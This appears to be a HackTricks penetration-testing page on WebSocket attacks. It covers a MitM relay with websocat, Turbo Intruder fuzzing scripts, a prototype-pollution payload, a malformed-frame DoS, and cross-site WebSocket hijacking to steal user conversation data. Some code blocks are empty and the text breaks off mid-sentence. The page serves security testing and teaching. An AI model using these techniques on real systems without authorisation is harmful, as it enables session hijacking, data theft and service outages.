# WebSocket Attacks {{#include ../banners/hacktricks-training.md}} ## What are WebSockets WebSocket connections are established through an initial **HTTP** handshake and are designed to be **long-lived**, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring **low latency or server-initiated communication**, such as live financial data streams. ### Establishment of WebSocket Connections A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below: ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` The `wss` protocol signifies a WebSocket connection secured with **TLS**, whereas `ws` indicates an **unsecured** connection. During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples: Browser sends a handshake request: ```javascript GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket ``` Server's handshake response: ```javascript HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= ``` The connection remains open for message exchange in both directions once established. **Key Points of the WebSocket Handshake:** - The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake. - The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`. - A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache. - The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection. These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication. ### Linux console You can use `websocat` to establish a raw connection with a websocket. ```bash websocat --insecure wss://10.10.10.10:8000 -v ``` Or to create a websocat server: ```bash websocat -s 0.0.0.0:8000 #Listen in port 8000 ``` ### MitM websocket connections If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)to perform a MitM attack between the client and the server.\ Once the client is trying to connect to you can then use: ```bash websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` ### Websockets enumeration You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically. ### Websocket Debug tools - **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication. - The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** will allow you to manage better Websocket communications in Burp by getting the **history**, setting **interception rules**, using **match and replace** rules, using **Intruder** and **AutoRepeater.** - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", this tool, written in Node.js, provides a user interface to **capture, intercept, send custom** messages and view all WebSocket and Socket.IO communications between the client and server. - [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication. - [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**. - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.** ## Decrypting Websocket - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript) - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/) ## Websocket Lab In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation. ## Websocket Fuzzing The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) now allows to fuzz also WebSocket messages. You can read more infromation abou this [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner). ### WebSocket Turbo Intruder (Burp extension) PortSwigger's WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components: - Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines. - HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends. Basic script pattern to fuzz a WS endpoint and filter relevant responses: ```python def queue_websockets(upgrade_request, message): connection = websocket_connection.create(upgrade_request) for i in range(10): connection.queue(message, str(i)) def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @MatchRegex(r'{\"user\":\"Hal Pline\"') def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` Use decorators like `@MatchRegex(...)` to reduce noise when a single message triggers multiple responses. ### Bridge WS behind HTTP (HTTP Middleware) Wrap a persistent WS connection and forward HTTP bodies as WS messages for automated testing with HTTP scanners: ```python def create_connection(upgrade_request): connection = websocket_connection.create(upgrade_request) return connection @MatchRegex(r'{\"user\":\"You\"') def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` Then send HTTP locally; the body is forwarded as the WS message: ```http POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 16 {"message":"hi"} ``` This lets you drive WS backends while filtering for “interesting” events (e.g., SQLi errors, auth bypass, command injection behavior). ### Socket.IO handling (handshake, heartbeats, events) Socket.IO adds its own framing on top of WS. Detect it via the mandatory query parameter `EIO` (e.g., `EIO=4`). Keep the session alive with Ping (`2`) and Pong (`3`) and start the conversation with `"40"`, then emit events like `42["message","hello"]`. Intruder example: ```python import burp.api.montoya.http.message.params.HttpParameter as HttpParameter def queue_websockets(upgrade_request, message): connection = websocket_connection.create( upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) connection.queue('40') connection.queue('42["message","hello"]') @Pong("3") def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @PingPong("2", "3") def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` HTTP adapter variant: ```python import burp.api.montoya.http.message.params.HttpParameter as HttpParameter def create_connection(upgrade_request): connection = websocket_connection.create( upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) connection.queue('40') connection.decIn() return connection @Pong("3") def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @PingPong("2", "3") def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` ### Detecting server‑side prototype pollution via Socket.IO Following PortSwigger’s safe detection technique, try polluting Express internals by sending a payload like: ```json {"__proto__":{"initialPacket":"Polluted"}} ``` If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See: - Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas. ### WebSocket race conditions with Turbo Intruder The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in `config()`. - Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”). ### WebSocket DoS: malformed frame “Ping of Death” Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near `Integer.MAX_VALUE` can cause Out‑Of‑Memory and a remote unauth DoS. See the example script. ### CLI and debugging - Headless fuzzing: `java -jar WebSocketFuzzer-.jar ` - Enable the WS Logger to capture and correlate messages using internal IDs. - Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters. - Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive. ### Operational safety High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted. ## Cross-site WebSocket hijacking (CSWSH) **Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures. Attackers can exploit this by hosting a **malicious web page** that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism. In order for this attack to work, these are the requirements: - The websocket **authentication must be cookie based** - The cookie must be accessible from the attackers server (this usually means **`SameSite=None`**) and no **Firefox Total Cookie Protection** enabled in Firefox and no **blocked third-party cookies** in Chrome. - The websocket server must not check the origin of the connection (or this must be bypasseable) Also: - If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)) ### Simple Attack Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**. Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.: ```html ``` ### Cross Origin + Cookie with a different subdomain In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**. ### Stealing data from user Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code: ```javascript //This is the script tag to load the websocket hooker ; //These are the functions that are gonig to be executed before a message //is sent by the client or received from the server //These code must be between some